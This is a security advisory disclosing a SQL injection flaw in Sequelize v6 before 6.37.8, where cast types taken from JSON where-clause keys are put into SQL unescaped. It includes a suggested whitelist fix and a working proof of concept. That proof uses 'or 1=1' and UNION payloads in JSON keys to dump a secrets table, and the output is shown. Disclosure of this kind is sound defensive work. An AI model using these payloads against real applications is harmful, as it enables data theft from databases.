Sequelize v6 Vulnerable to SQL Injection via JSON Column Cast Type

Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.

Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.

Sequelize is a Node.js ORM tool. Prior to 6.37.8, there is SQL injection via unescaped cast type in JSON/JSONB where clause processing. The _traverseJSON() function splits JSON path keys on :: to extract a cast type, which is interpolated raw into CAST(... AS <type>) SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. This vulnerability is fixed in 6.37.8.

### Summary SQL injection via unescaped cast type in JSON/JSONB `where` clause processing. The `_traverseJSON()` function splits JSON path keys on `::` to extract a cast type, which is interpolated raw into `CAST(... AS <type>)` SQL. An attacker who controls JSON object keys can inject arbitrary SQL and exfiltrate data from any table. Affected: v6.x through 6.37.7. v7 (`@sequelize/core`) is not affected. ### Details In `src/dialects/abstract/query-generator.js`, `_traverseJSON()` extracts a cast type from `::` in JSON keys without validation: ```javascript // line 1892 _traverseJSON(items, baseKey, prop, item, path) { let cast; if (path[path.length - 1].includes("::")) { const tmp = path[path.length - 1].split("::"); cast = tmp[1]; // attacker-controlled, no escaping path[path.length - 1] = tmp[0]; } // ... items.push(this.whereItemQuery(this._castKey(pathKey, item, cast), { [Op.eq]: item })); } ``` `_castKey()` (line 1925) passes it to `Utils.Cast`, and `handleSequelizeMethod()` (line 1692) interpolates it directly: ```javascript return `CAST(${result} AS ${smth.type.toUpperCase()})`; ``` JSON path **values** are escaped via `this.escape()` in `jsonPathExtractionQuery()`, but the cast **type** is not. **Suggested fix** — whitelist known SQL data types: ```javascript const ALLOWED_CAST_TYPES = new Set([ 'integer', 'text', 'real', 'numeric', 'boolean', 'date', 'timestamp', 'timestamptz', 'json', 'jsonb', 'float', 'double precision', 'bigint', 'smallint', 'varchar', 'char', ]); if (cast && !ALLOWED_CAST_TYPES.has(cast.toLowerCase())) { throw new Error(`Invalid cast type: ${cast}`); } ``` ### PoC `npm install [email protected] sqlite3` ```javascript const { Sequelize, DataTypes } = require('sequelize'); async function main() { const sequelize = new Sequelize('sqlite::memory:', { logging: false }); const User = sequelize.define('User', { username: DataTypes.STRING, metadata: DataTypes.JSON, }); const Secret = sequelize.define('Secret', { key: DataTypes.STRING, value: DataTypes.STRING, }); await sequelize.sync({ force: true }); await User.bulkCreate([ { username: 'alice', metadata: { role: 'admin', level: 10 } }, { username: 'bob', metadata: { role: 'user', level: 5 } }, { username: 'charlie', metadata: { role: 'user', level: 1 } }, ]); await Secret.bulkCreate([ { key: 'api_key', value: 'sk-secret-12345' }, { key: 'db_password', value: 'super_secret_password' }, ]); // TEST 1: WHERE clause bypass const r1 = await User.findAll({ where: { metadata: { 'role::text) or 1=1--': 'anything' } }, logging: (sql) => console.log('SQL:', sql), }); console.log('OR 1=1:', r1.map(u => u.username)); // Returns ALL rows: ['alice', 'bob', 'charlie'] // TEST 2: UNION-based cross-table exfiltration const r2 = await User.findAll({ where: { metadata: { 'role::text) and 0 union select id,key,value,null,null from Secrets--': 'x' } }, raw: true, logging: (sql) => console.log('SQL:', sql), }); console.log('UNION:', r2.map(r => `${r.username}=${r.metadata}`)); // Returns: api_key=sk-secret-12345, db_password=super_secret_password } main().catch(console.error); ``` **Output:** ``` SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) OR 1=1--) = 'anything'; OR 1=1: [ 'alice', 'bob', 'charlie' ] SQL: SELECT `id`, `username`, `metadata`, `createdAt`, `updatedAt` FROM `Users` AS `User` WHERE CAST(json_extract(`User`.`metadata`,'$.role') AS TEXT) AND 0 UNION SELECT ID,KEY,VALUE,NULL,NULL FROM SECRETS--) = 'x'; UNION: [ 'api_key=sk-secret-12345', 'db_password=super_secret_password' ] ``` ### Impact **SQL Injection (CWE-89)** — Any application that passes user-controlled objects as `where` clause values for JSON/JSONB columns is vulnerable. An attacker can exfiltrate data from any table in the database via UNION-based or boolean-blind injection. All dialects with JSON support are affected (SQLite, PostgreSQL, MySQL, MariaDB). A common vulnerable pattern: ```javascript app.post('/api/users/search', async (req, res) => { const users = await User.findAll({ where: { metadata: req.body.filter } // user controls JSON object keys }); res.json(users); }); ```